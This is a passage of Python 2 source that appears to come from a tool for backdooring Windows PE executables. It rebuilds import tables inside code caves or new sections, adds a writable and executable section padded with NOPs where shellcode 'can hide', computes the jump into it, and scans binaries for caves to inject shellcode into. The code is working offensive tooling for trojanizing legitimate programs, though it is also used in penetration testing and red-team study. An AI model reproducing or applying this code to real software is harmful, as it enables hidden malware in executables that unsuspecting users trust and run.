if self.flItms['Magic'] == 0x20B:
self.flItms['thunkSectionSize'] += 16
else:
self.flItms['thunkSectionSize'] += 8
self.flItms['iatTransition'] += 20
self.flItms['dllCount'] += 1
if api in exports:
self.flItms['iatdict'][aDLL][api] = 0
if self.flItms['Magic'] == 0x20B:
self.flItms['thunkSectionSize'] += 16
else:
self.flItms['thunkSectionSize'] += 8
self.flItms['apiCount'] += 1
def build_imports(self):
#build first structure
firstStructure = ''
dllLen = 0
sectionCount = 0
for aDLL, api in self.flItms['iatdict'].iteritems():
firstStructure += struct.pack("<I", (self.flItms['dllCount'] * 20 + self.flItms['lenDLLSection'] +
(self.flItms['thunkSectionSize'] / 2) +
self.flItms['BeginningOfNewImports'] + 20 + sectionCount))
firstStructure += (struct.pack("<Q", 0x000000000))
firstStructure += struct.pack("<I", (self.flItms['dllCount'] * 20 +
self.flItms['BeginningOfNewImports'] + 20 + dllLen))
firstStructure += struct.pack("<I", (self.flItms['dllCount'] * 20 + self.flItms['lenDLLSection'] +
self.flItms['BeginningOfNewImports'] + 20 + sectionCount))
dllLen = len(aDLL) + 1
sectionCount += 16
firstStructure += struct.pack("<QQI", 0x0, 0x0, 0x0)
self.flItms['iatTransition'] = firstStructure
#build the transition section:
#For each DLL in the New Import Table
# 1. 1st Address points to the 2nd Thunk grouping's 1st DLL API Address
# 2. 8 bytes of 00's
# 3. Address points to the DLLName
# 4. Address points to the 1st API thunk address group for the DLL API Address
#20 bytes of 00's
# Figure all the size of this structure
# Work backwards to populate
#populate thunks
newDLLSection = ''
newthunkSection = ''
newapiNameSection = ''
apiOffset = (self.flItms['lenDLLSection'] + self.flItms['thunkSectionSize'] +
self.flItms['BeginningOfNewImports'] + len(self.flItms['iatTransition']))
for aDLL, api in self.flItms['iatdict'].iteritems():
newDLLSection += aDLL + struct.pack("!B", 0x0)
for apiName, address in api.iteritems():
newapiNameSection += struct.pack("<H", 0x0) + apiName + struct.pack("<B", 0x0)
api[apiName] = apiOffset
if self.flItms['Magic'] == 0x20B:
newthunkSection += struct.pack("<Q", apiOffset)
else:
newthunkSection += struct.pack("<I", apiOffset)
apiOffset += len(apiName) + 3
if self.flItms['Magic'] == 0x20B:
newthunkSection += struct.pack("<Q", 0x0)
else:
newthunkSection += struct.pack("<I", 0x0)
newthunkSection += newthunkSection
self.flItms['addedIAT'] = self.flItms['iatTransition'] + newDLLSection + newthunkSection + newapiNameSection
def patch_in_new_iat(self):
with open(self.flItms['backdoorfile'], 'r+b') as self.binary:
print "[*] Patching Import Directory Table into a code cave"
self.populate_iat_values()
self.binary.seek(self.flItms['ImportTableFileOffset'], 0)
self.flItms['Import_Directory_Table'] = ''
while True:
check_chars = "\x00" * 20
read_data = self.binary.read(20)
if read_data == check_chars:
#Found end of import directory
break
self.flItms['Import_Directory_Table'] += read_data
# get size of new iat
newDLLSection = 0
newapiNameSection = 0
newthunkSection = 0
firstStructure = 0
for aDLL, api in self.flItms['iatdict'].iteritems():
firstStructure += 4 + 8 + 4 + 4
firstStructure += 8 + 8 + 4
for aDLL, api in self.flItms['iatdict'].iteritems():
newDLLSection += len(aDLL) + 1
for apiName, address in api.iteritems():
newapiNameSection += 2 + len(apiName) + 1
if self.flItms['Magic'] == 0x20B:
newthunkSection += 8
else:
newthunkSection += 4
if self.flItms['Magic'] == 0x20B:
newthunkSection += 8
else:
newthunkSection += 4
newthunkSection += newthunkSection
self.flItms['sizeNewIAT'] = newDLLSection + newapiNameSection + newthunkSection + len(self.flItms['Import_Directory_Table']) + firstStructure
caveTracker = []
caveSpecs = []
RVA_offset = ''
for section in self.flItms['Sections']:
if section[4] <= self.flItms['ImportTableFileOffset'] <= section[4] + section[3]:
self.flItms['ImportTableInSectionRange'] = (section[4], section[3] + section[4], section[3])
p = re.compile((self.flItms['sizeNewIAT'] + 12) * "\x00")
self.binary.seek(self.flItms['ImportTableInSectionRange'][0], 0)
for m in p.finditer(self.binary.read()):
caveSpecs.append(m.start() + self.flItms['ImportTableInSectionRange'][0] + 8)
caveSpecs.append(m.start() + self.flItms['ImportTableInSectionRange'][0] + self.flItms['sizeNewIAT'] + 12)
caveTracker.append(caveSpecs)
caveSpecs = []
caveSpecs = []
for section in self.flItms['Sections']:
if section[4] <= caveTracker[len(caveTracker) - 1][0] <= section[4] + section[3]:
caveSpecs = caveTracker[len(caveTracker) - 1]
RVA_offset = section[2] - section[4]
# self.iat_cave_loc is to reverse the space for patching later
self.iat_cave_loc = caveSpecs
self.flItms['NewIAT_Loc'] = caveSpecs[0]
self.binary.seek(self.flItms['NewIAT_Loc'], 0)
self.binary.write(self.flItms['Import_Directory_Table'])
#Add new imports
self.flItms['BeginningOfNewImports'] = RVA_offset + caveSpecs[0] + len(self.flItms['Import_Directory_Table'])
self.build_imports()
self.binary.write(self.flItms['addedIAT'])
self.binary.seek(self.flItms['ImportTableLOCInPEOptHdrs'], 0)
#RVA...
self.binary.write(struct.pack("<I", RVA_offset + self.flItms['NewIAT_Loc']))
self.binary.write(struct.pack("<I", (self.flItms['ImportTableSize']) + self.flItms['apiCount'] * 8 + 20))
self.binary.seek(0)
with open(self.flItms['backdoorfile'], 'r+b') as self.binary:
if self.gather_file_info_win() is False:
return False
return True
def create_new_iat(self):
"""
Creates new import table for missing imports in a new section
"""
print "[*] Adding New Section for updated Import Table"
with open(self.flItms['backdoorfile'], 'r+b') as self.binary:
self.populate_iat_values()
self.flItms['NewSectionSize'] = 0x1000
self.flItms['SectionName'] = 'rdata1' # less than 7 chars
#Not the best way to find the new section (update for appending when fix found)
#newSetionPointerToRawData == last section pointer_to_rawdata and virtualsize
self.flItms['newSectionPointerToRawData'] = self.flItms['Sections'][-1][3] + self.flItms['Sections'][-1][4]
self.flItms['VirtualSize'] = self.flItms['NewSectionSize']
self.flItms['SizeOfRawData'] = self.flItms['VirtualSize']
self.flItms['NewSectionName'] = "." + self.flItms['SectionName']
self.flItms['newSectionFlags'] = int('C0000040', 16)
#get file size
filesize = os.stat(self.flItms['backdoorfile']).st_size
if filesize > self.flItms['SizeOfImage']:
print "[!] File has extra data after last section, cannot add new section"
return False
self.binary.seek(self.flItms['pe_header_location'] + 6, 0)
self.binary.write(struct.pack('<H', self.flItms['NumberOfSections'] + 1))
self.binary.seek(self.flItms['SizeOfImageLoc'], 0)
self.flItms['NewSizeOfImage'] = (self.flItms['VirtualSize'] +
self.flItms['SizeOfImage'])
self.binary.write(struct.pack('<I', self.flItms['NewSizeOfImage']))
self.binary.seek(self.flItms['BoundImportLocation'])
if self.flItms['BoundImportLOCinCode'] != 0:
self.binary.write(struct.pack('<I', self.flItms['BoundImportLOCinCode'] + 40))
self.binary.seek(self.flItms['BeginSections'] +
40 * self.flItms['NumberOfSections'], 0)
self.binary.write(self.flItms['NewSectionName'] +
"\x00" * (8 - len(self.flItms['NewSectionName'])))
self.binary.write(struct.pack('<I', self.flItms['VirtualSize']))
self.binary.write(struct.pack('<I', self.flItms['SizeOfImage']))
self.binary.write(struct.pack('<I', self.flItms['SizeOfRawData']))
self.binary.write(struct.pack('<I', self.flItms['newSectionPointerToRawData']))
if self.VERBOSE is True:
print 'New Section PointerToRawData:', self.flItms['newSectionPointerToRawData']
self.binary.write(struct.pack('<I', 0))
self.binary.write(struct.pack('<I', 0))
self.binary.write(struct.pack('<I', 0))
self.binary.write(struct.pack('<I', self.flItms['newSectionFlags']))
self.binary.write(self.flItms['ImportTableALL'])
self.binary.seek(self.flItms['ImportTableFileOffset'], 0)
#-20 here
self.flItms['Import_Directory_Table'] = ''
while True:
check_chars = "\x00" * 20
read_data = self.binary.read(20)
if read_data == check_chars:
#Found end of import directory
break
self.flItms['Import_Directory_Table'] += read_data
#self.flItms['Import_Directory_Table'] = self.binary.read(self.flItms['ImportTableSize'] - 20)
self.binary.seek(self.flItms['newSectionPointerToRawData'], 0) # moving to end of file
#test write
self.binary.write(self.flItms['Import_Directory_Table'])
#Add new imports
self.flItms['BeginningOfNewImports'] = self.flItms['SizeOfImage'] + len(self.flItms['Import_Directory_Table'])
self.build_imports()
#and remove here
self.binary.write(self.flItms['addedIAT'])
self.binary.write(struct.pack("<B", 0x0) * (self.flItms['NewSectionSize'] -
len(self.flItms['addedIAT']) - len(self.flItms['Import_Directory_Table']) + 20))
self.binary.seek(self.flItms['ImportTableLOCInPEOptHdrs'], 0)
self.binary.write(struct.pack('<I', self.flItms['SizeOfImage']))
self.binary.write(struct.pack("<I", (self.flItms['ImportTableSize']) + self.flItms['apiCount'] * 8 + 20))
self.binary.seek(0)
#For trimming File of cert (if there)
#get file data again
with open(self.flItms['backdoorfile'], 'r+b') as self.binary:
if self.gather_file_info_win() is False:
return False
return True
def create_code_cave(self):
"""
This function creates a code cave for shellcode to hide,
takes in the dict from gather_file_info_win function and
writes to the file and returns flItms
"""
print "[*] Creating Code Cave"
self.flItms['NewSectionSize'] = len(self.flItms['shellcode']) + 250 # bytes
self.flItms['SectionName'] = self.NSECTION # less than 7 chars
self.flItms['filesize'] = os.stat(self.flItms['filename']).st_size
self.flItms['newSectionPointerToRawData'] = self.flItms['filesize']
self.flItms['VirtualSize'] = int(str(self.flItms['NewSectionSize']), 16)
self.flItms['SizeOfRawData'] = self.flItms['VirtualSize']
self.flItms['NewSectionName'] = "." + self.flItms['SectionName']
self.flItms['newSectionFlags'] = int('e00000e0', 16)
self.binary.seek(self.flItms['pe_header_location'] + 6, 0)
self.binary.write(struct.pack('<H', self.flItms['NumberOfSections'] + 1))
self.binary.seek(self.flItms['SizeOfImageLoc'], 0)
self.flItms['NewSizeOfImage'] = (self.flItms['VirtualSize'] +
self.flItms['SizeOfImage'])
self.binary.write(struct.pack('<I', self.flItms['NewSizeOfImage']))
self.binary.seek(self.flItms['BoundImportLocation'])
if self.flItms['BoundImportLOCinCode'] != 0:
self.binary.write(struct.pack('<I', self.flItms['BoundImportLOCinCode'] + 40))
self.binary.seek(self.flItms['BeginSections'] +
40 * self.flItms['NumberOfSections'], 0)
self.binary.write(self.flItms['NewSectionName'] +
"\x00" * (8 - len(self.flItms['NewSectionName'])))
self.binary.write(struct.pack('<I', self.flItms['VirtualSize']))
self.binary.write(struct.pack('<I', self.flItms['SizeOfImage']))
self.binary.write(struct.pack('<I', self.flItms['SizeOfRawData']))
self.binary.write(struct.pack('<I', self.flItms['newSectionPointerToRawData']))
if self.VERBOSE is True:
print 'New Section PointerToRawData'
print self.flItms['newSectionPointerToRawData']
self.binary.write(struct.pack('<I', 0))
self.binary.write(struct.pack('<I', 0))
self.binary.write(struct.pack('<I', 0))
self.binary.write(struct.pack('<I', self.flItms['newSectionFlags']))
self.binary.write(self.flItms['ImportTableALL'])
self.binary.seek(self.flItms['filesize'] + 1, 0) # moving to end of file
nop = choice(intelCore.nops)
if nop > 144:
self.binary.write(struct.pack('!H', nop) * (self.flItms['VirtualSize'] / 2))
else:
self.binary.write(struct.pack('!B', nop) * (self.flItms['VirtualSize']))
self.flItms['CodeCaveVirtualAddress'] = (self.flItms['SizeOfImage'] +
self.flItms['ImageBase'])
self.flItms['buffer'] = int('200', 16) # bytes
self.flItms['JMPtoCodeAddress'] = (self.flItms['CodeCaveVirtualAddress'] -
self.flItms['PatchLocation'] -
self.flItms['ImageBase'] - 5 +
self.flItms['buffer'])
def find_all_caves(self):
"""
This function finds all the codecaves in a inputed file.
Prints results to screen
"""
print "[*] Looking for caves"
SIZE_CAVE_TO_FIND = self.SHELL_LEN
BeginCave = 0
Tracking = 0
count = 1
caveTracker = []
caveSpecs = []
self.binary = open(self.FILE, 'r+b')
self.binary.seek(0)
# Slow way
while True:
try:
s = struct.unpack("<b", self.binary.read(1))[0]
except Exception as e:
break
if s == 0:
if count == 1:
BeginCave = Tracking
count += 1
else:
if count >= SIZE_CAVE_TO_FIND:
caveSpecs.append(BeginCave)
caveSpecs.append(Tracking)
caveTracker.append(caveSpecs)
count = 1
caveSpecs = []
Tracking += 1
for caves in caveTracker:
for section in self.flItms['Sections']:
sectionFound = False
if caves[0] >= section[4] and caves[1] <= (section[3] + section[4]) and \
caves[1] - caves[0] >= SIZE_CAVE_TO_FIND:
print "We have a winner:", section[0]
print '->Begin Cave', hex(caves[0])
print '->End of Cave', hex(caves[1])
print 'Size of Cave (int)', caves[1] - caves[0]
print 'SizeOfRawData', hex(section[3])
print 'PointerToRawData', hex(section[4])
print 'End of Raw Data:', hex(section[3] + section[4])
print '*' * 50
sectionFound = True
break
if sectionFound is False:
try:
print "No section"
print '->Begin Cave', hex(caves[0])
print '->End of Cave', hex(caves[1])
print 'Size of Cave (int)', caves[1] - caves[0]
print '*' * 50
except Exception as e:
print str(e)
print "[*] Total of %s caves found" % len(caveTracker)
self.binary.close()
def find_cave(self):
"""This function finds all code caves, allowing the user
to pick the cave for injecting shellcode."""
self.flItms['len_allshells'] = ()
if self.flItms['cave_jumping'] is True:
for item in self.flItms['allshells']:
self.flItms['len_allshells'] += (len(item), )
# TODO: ADD Stub len for zeroing memory here
self.flItms['len_allshells'] += (len(self.flItms['resumeExe']), )
SIZE_CAVE_TO_FIND = sorted(self.flItms['len_allshells'])[0]
else:
SIZE_CAVE_TO_FIND = self.flItms['shellcode_length']
self.flItms['len_allshells'] = (self.flItms['shellcode_length'], )